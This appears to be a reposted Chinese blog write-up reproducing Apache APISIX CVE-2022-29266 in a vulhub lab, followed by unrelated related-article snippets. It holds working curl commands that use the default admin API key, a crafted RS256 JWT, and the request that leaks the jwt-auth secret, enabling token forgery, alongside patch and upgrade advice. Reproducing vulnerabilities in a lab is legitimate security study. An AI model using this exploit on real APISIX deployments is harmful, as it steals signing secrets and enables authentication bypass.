Apache APISIX信息泄露漏洞(CVE-2022-29266)

2023-11-10

目录

漏洞概述

漏洞复现

环境搭建

攻击复现


漏洞概述

在2.13.1版本之前的APache APISIX中,攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌来通过错误消息响应获取插件配置的机密。依赖库 lua-resty-jwt 中的错误逻辑允许将 RS256 令牌发送到需要 HS256 令牌的端点,错误响应中包含原始密钥值。

这个漏洞最终造成的风险是 JWT 伪造,但前提是需要对方的 APISIX 开启了 jwt-auth 插件才行,并且如果有细心的读者可能会发现,当我们构造 RS256 算法的 JWT 时,需要先知道目标 APISIX consumer 对象的 key 值,因此这个漏洞利用起来还是有一定限制的。

漏洞复现

环境搭建

在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶场,APISIX 版本为 2.11.0,因此我们可以直接用这个靶场作为 CVE-2022-29266 的靶场进行复现。

环境搭建命令:

cd vulhub/apisix/CVE-2020-13945
docker-compose up -d

访问 http://your-ip:9080 地址即可

1、需要一个 RS256 算法的 JWT 值,这里为了方便直接在 https://jwt.io/ 中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致

2、接着创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 teamssix-secret-key

curl http://192.168.xxx.xxx:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' { "username": "jack", "plugins": { "jwt-auth": { "key": "rs-key", "secret": "teamssix-secret-key" } } }'

3、然后再创建 Route 对象,并开启 jwt-auth 插件

curl http://192.168.xxx.xxx:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' { "methods": ["GET"], "uri": "/index.html", "plugins": { "jwt-auth": {} }, "upstream": { "type": "roundrobin", "nodes": { "0.0.0.0:80": 1 } } }'

这时其实漏洞环境才算搭好,接下来就可以开始发送 Payload 了。

攻击复现

将最开始由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了。

当我们拿到这个 sceret 值后,就可以伪造 JWT Token 了。

那么根据上面的漏洞分析,这里如果使用 RS512 算法应该也能触发这个漏洞,在 jwt.io 上生成 RS512 的 JWT 值如下(值每次都不同):

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg

4、利用 curl 访问

curl http://192.168.xxx.xxx:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i

果然使用 RS512 算法同样可以触发,说明漏洞分析的没毛病。

接着看看如果 secret 中包含了 CERTIFICATE 和 PUBLIC KEY 字符串,会返回什么。

5、重新开一个环境后,创建一个 consumer 对象,这次 secret 设置为 teamssix-CERTIFICATE

curl http://192.168.xxx.xxx:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' { "username": "jack", "plugins": { "jwt-auth": { "key": "rs-key", "secret": "teamssix-CERTIFICATE" } } }'

6、创建 Route 对象,并开启 jwt-auth 插件

curl http://192.168.xxx.xxx:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' { "methods": ["GET"], "uri": "/index.html", "plugins": { "jwt-auth": {} }, "upstream": { "type": "roundrobin", "nodes": { "0.0.0.0:80": 1 } } }'

 7、触发漏洞

curl http://192.168.xxx.xxx:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i

 

可以看到,这里并没有返回刚才设置的 secret 值,而是返回了 not enough data,即 err 的信息,这表明此时 cert 的值已经不为 nil 了,再次证明了上面的分析。

漏洞代码修复

观察 APISIX 的漏洞修复信息,可以看到对 jwt-auth.lua 文件的第 364 和 395 行进行了修改,修复信息地址:https://github.com/apache/apisix/commit/61a48a2524a86f2fada90e8196e147538842db89

修复方案

升级至 Apache APISIX 2.13.1 及以上版本

安装补丁包,补丁包地址详见:https://apisix.apache.org/zh/blog/2022/04/20/cve-2022-29266

参考

APISIX CVE-2022-29266 漏洞分析与复现 | TeamsSix

【密钥泄漏】CVE-2022-29266 Apache Apisix jwt插件 - 知乎

CVE-2022-29266 漏洞分析与复现 | T Wiki

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Apache APISIX信息泄露漏洞(CVE-2022-29266) 的相关文章

  • 为什么 Xampp 控制面板在启动时显示错误访问被拒绝 [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我的 Xampp 控制面板遇到问题 当我尝试启动它时 它会弹出一条错误消息 错误 无法创建文件 C xampp xampp control
  • Tomcat 8 上的 PHP

    我找到了很多如何让 PHP 在 Tomcat 上运行的指南 但都是以前的版本 我尝试了所有这些 但我所能显示的只是一个空白页面 并且代码仍然没有被触发 我知道 Tomcat 是为 Java 应用程序而不是 PHP 构建的 但我需要找到一种使
  • 保存到服务器后,隐藏字符“\u0”添加到文件中

    我正在使用 Apache 服务器为 Web 开发网站提供服务 这样我就可以不断保存和编辑文件 我使用 Gulp for Sass 来连接和丑化 css 和 js 文件 一个月前 我的 js 和 css 文件遇到问题 似乎在文件下面添加了随机
  • 将应用程序级别用户名/用户 ID 注入 nginx/Apache 日志

    有没有办法将应用程序级别的用户名或 id 在本例中为 django 用户名或 id 注入 Apache 或 ngnix 日志中 请注意 我不是询问 HTTP 身份验证用户名 我目前正在使用一个简短的自定义中间件将此数据添加到响应标头 如下所
  • Apache mod_speling 不区分大小写的 URL 问题

    我想要使 用 Apache 的不区分大小写的 URLmod speling模块 但这会产生不需要的 多个选项 列表 而 Apache 文档说 设置后 该指令将拼写更正的操作限制为小写 大写更改 不执行其他可能的更正 我正在全新安装的 Apa
  • 使用 dockerfile 在 docker 中安装 mongodb 驱动

    我有一个 mongodb docker 容器 我需要另一个安装了 php 和 apache 的 docker 容器 我想从这个容器运行一个 php 脚本并将一些数据发送到 mongodb 容器以将数据保存在 mongodb 数据库中 所以我
  • 将代码从 htaccess 重写为 nginx 配置?

    我在将 htaccess 文件中的重写代码实现到 nginx 配置中时遇到问题 我已经尝试过生成器 http winnginx com htaccess http winginx com htaccess用于生成我的重写 代码 我的ngin
  • 设置 Silex Bootstrap 时出现 Apache 错误:无法检查 htaccess 文件

    我正在尝试使用 Silex Bootstrap 建立一个网站 我已将它与其他 Web 项目一起放在我的文件夹中 并更改了 Apache 配置中的 DocumentRoot
  • 创建动态子域

    自从我考虑一些网站正在实施的此功能以来已经有一段时间了 它看起来非常成功 类似的网站tumblr com blogger com wordpress com允许用户使用简单的 HTML PHP 表单从网站内注册新的子域名 以我目前对 PHP
  • Apache 反向代理的基本身份验证问题

    我想为在 Ubuntu 服务器 12 04 1 上运行的 Apache 反向代理站点添加基本身份验证 网络应用程序是Jenkins http jenkins ci org运行在 Java EE 容器上 我在中添加了以下配置httpd con
  • 使用 Java 的 Apache Http 摘要身份验证

    我目前正在开发一个 Java 项目 但无法使 http 摘要身份验证正常工作 我尝试使用 Apache 网站 但没有帮助 我有一个需要 HTTP 摘要身份验证的网站 DefaultHttpClient httpclient new Defa
  • Apache 虚拟主机始终重定向到 /dashboard

    我遇到的问题似乎是一个常见问题 但我找到的任何解决方案似乎都不适合我的情况 我正在尝试设置一个虚拟主机 以便我可以通过 mytestdomain local 访问我的 Laravel 安装的公共文件 但是当我在 google chrome
  • 无法更改 Xampp 中的 Apache 端口号

    我刚刚下载了Xampp服务器xampp win32 1 8 2 0 VC9 zip http www apachefriends org en xampp windows html 641文件 Windows 并尝试启动 apache 服务
  • 如果文件名减去扩展名,.htaccess url 重写行为将被覆盖。与网址相同

    我正在尝试整理 URL 并从中删除 php 扩展名等 我位于网站的基本文件夹中 因此没有可以优先处理的父 htaccess 文件或其他文件 这是我的 htaccess 代码 RewriteEngine On RewriteRule give
  • 如何使用`RewriteRule ^(.*)$ ?id=$1 [L,QSA]`通过.htaccess获取文件目录?

    如何使用 htaccess 获取文件目录RewriteRule id 1 L QSA 如果 htaccess 位于http localhost some dir htaccess我正在打开http localhost some dir he
  • 请求的操作失败 - Apache 错误

    当我尝试启动 Apache 2 2 服务器时 它显示以下消息 请求的操作失败 在命令提示符中显示如下 C Documents and Settings amth gt net start apache2 2 The Apache2 2 se
  • 如何在MAMP中设置环境变量?

    如何在 MAMP 版本 3 3 中设置环境变量 我可以在我的 PHP 应用程序中使用它 我已经更新了 Applications MAMP Library bin envvars and envvars std file并添加以下行 Lice
  • phpinfo 说 php.ini 路径是 C:\Windows 但那里没有 php.ini

    我们正在尝试从 PHP5 切换到 PHP7 现在我们已经安装了 Apache 并且 PHP 可以运行了 然而 我们在php ini文件没有任何作用 Via phpinfo 我们意识到原因是Configuration File php ini
  • 仅第一个加载的 Django 站点有效

    我最近向 stackoverflow 提交了一个问题 标题为使用mod wsgi在apache上多次请求后Django无限加载 https stackoverflow com questions 71705909 django infini
  • 如何在apache 2.4.6上安装apxs模块

    我刚刚用过apt get update我的 apache 已更新为2 4 6 我想安装 apxs 来编译模块 但收到此错误 The following packages have unmet dependencies apache2 pre

随机推荐

  • Win10 某个移动硬盘不自动分配盘符

    简单来说就是某个移动硬盘不自动分配盘符 每次都要到磁盘管理里面手动分配盘符 而且每次删除设备后 手动分配的盘符不消失 1 使用管理员启动 CMD 命令提示符 2 输入 diskpart 3 列出磁盘 list disk 4 选择磁盘 sel
  • 创建动态数组键盘输入一个正整数 n,创建大小为 n 的数组(采用动态数组的方式),将数组中的元素初始化为 n、n+1、...、2n - 1。并输出数组中的元素。输入描述:键盘输入一个正整数 n输

    include
  • 【QT 网络云盘客户端】——实现文件属性窗口

    目录 文件属性对话框 设置字体样式 获取文件的信息 显示文件属性对话框 当我们点击文件中的属性 则会弹出一个属性对话框 实现过程 0 设置 属性 菜单项的槽函数 1 鼠获取鼠标选中的QListWidgetItem 它包含 图标和文件名 2
  • 代码重构与单元测试——重构1的单元测试(四)

    四 重构1的vb net教程单元测c 教程试 程序开发过程中 写代码是为了实现需求 当我们的代码通过了编译 只是说明它的语法正确 功能能否实现则不能保证 因此 当我们的某些功能代码完成后 为了检验其是否满足程序的需求 可以通过编写测试代码
  • java自动化测试语言高级之多线程编程

    java自动化测试语言高级之多线程编程 Java 多线程编程 Java 给多线程编程提供了内置的支持 一条线程指的是进程中一个单一顺序的控制流 一个进程中可以并发多个线程 每条线程并行执行不同的任务 多线程是多任务的一种特别的形式 但多线程
  • Fiddler工具使用汇总

    Fiddler工作原理 fiddler作为一个代理服务器 跟浏览器建立连接之后 浏览器像目标服务器发送的请求都会经过fiddler代理 所以fiddler可以捕获到http s 请求 从而可以解释 分析 甚至重写发出去的http s 请求
  • Conda、pip下载包:PackagesNotFoundError: The following packages are not available from current channels:

    1 问题 安装包的时报下面错误 安装包之前查一下当前环境对应的包的版本 conda search 包名 2 解决方法1 报错原因是当前镜像中不存在这个包 解决方法如下 直接去官网https anaconda org 搜包名 找到对应的版本点
  • ESXI虚拟机 - 使用vmdk虚拟机转换为OVF模板,导入ESXI

    目录 一 前提条件 二 转换为OVF模板 三 导入ESXI系统 四 安装时可能会出现的问题 一 前提条件 已安装VMware Workstation 并且创建了一个的虚拟机 此处以win8 1为例 已存在ESXI系统 二 转换为OVF模板
  • 包装类Integer判断“==”相等

    今日小编在复习Java基本数据操作类是发现的遗忘问题 是Integer的 比较问题 与大家进行分享 示例代码如下 public class IntegerComparison public static void main String a
  • 四因素三水平正交试验表_最简单的正交试验教程,一次性搞懂它

    大家好 今天要分享的是正交试验设计与结果检验过程 正交试验设计时试验优化的常用技术 它可以通过科学合理地设计 达到用较少的试验次数 取得较为准确可靠的结果 正交试验设计一般包括以下几步 确定研究因素和指标水平 制作成正交试验表格 实施试验
  • seaborn简明教程(一)

    1 Seaborn简介 seaborn是基于matplotlib的数据可视化库 它在matplotlib的基础上 进行了更高级的API封装 从而使得绘图更加容易 不需要经过大量的调整 就能使图形变得精致 seaborn的几个鲜明特点如下 绘
  • 使用docker部署fastdfs集群版

    一 前言 本文档说明在node01和node02两台主机上安装部署FastDFS双节点 node01 ip 198 168 1 121 安装tracker1 storage1 node02 ip 198 168 1 122 安装tracke
  • 2020年,给你7个程序员接私活必备网站!

    2020互联网圈不好混 不是每个公司都能像蚂蚁金服一样这么大气 不少公司今年因为疫情已经开始裁员 不要抱怨 加油干就完事了 今天给大家推荐几个赚钱养家的好渠道 一起来看看吧 1 程序员客栈 程序员的经纪人 https www proginn
  • Python人员信息管理系统(简直期末人福音)

    1 涉及模块 datetime os random sys PyQt5 2 运行效果 支持功能 添加信息 修改信息 删除信息 查询信息 文件存储数据 每次运行都会加载显示之前的信息 3 部分源码 创建字体对象 用来对要显示的文字进行设定fo
  • IIS 网站安装SSL证书

    步骤一 申请SSL证书 申请免费证书步骤 阿里云申请免费证书步骤 申请完成后 等待证书签发 签发后下载到本地 解压缩后会得到如下两个文件 一个证书文件 一个密码文件 步骤二 将文件复制到服务器上 双击证书文件安装 安装选计算机 安装过程中要
  • Graph Stacked Hourglass Networks for 3D Human Pose Estimation

    方法重复使用编码器 解码器 图形结构特征在三种不同尺度的骨骼中表示 获取局部和全局特征 使用不同深度中间特征的多层次特征学习方法 目前的基于GCN的方法有一些局限性 图卷积利用所有关节点信息 可以看做是所有特征仅在 一个尺度 上处理 很难获
  • 安全类常用网站

    目录 Burp Suite Burpsuite学院 安全测试常用的几个工具 Burp Suite Burp Suite Application Security Testing Software PortSwiggerGet Burp Su
  • UniswapV2核心合约学习(3)——UniswapV2Pair.sol

    记得朋友圈看到过一句话 如果Defi是以太坊的皇冠 那么Uniswap就是这顶皇冠中的明珠 Uniswap目前已经是V2版本 相对V1 它的功能更加全面优化 然而其合约源码却并不复杂 本文为个人学习UniswapV2核心合约源码的系列文章的
  • k8s指南-DNS与服务发现

    目录 1 k8s指南 概述 2 k8s指南 架构 3 k8s指南 工作负载 1 4 k8s指南 工作负载 2 5 k8s指南 工作负载 3 6 k8s指南 工作负载 4 7 k8s指南 Service 8 k8s指南 Ingress 9 k
  • Apache APISIX信息泄露漏洞(CVE-2022-29266)

    目录 漏洞概述 漏洞复现 环境搭建 攻击复现 漏洞概述 在2 13 1版本之前的APache APISIX中 攻击者可以通过向受 jwt auth 插件保护的路由发送不正确的 JSON Web 令牌来通过错误消息响应获取插件配置的机密 依赖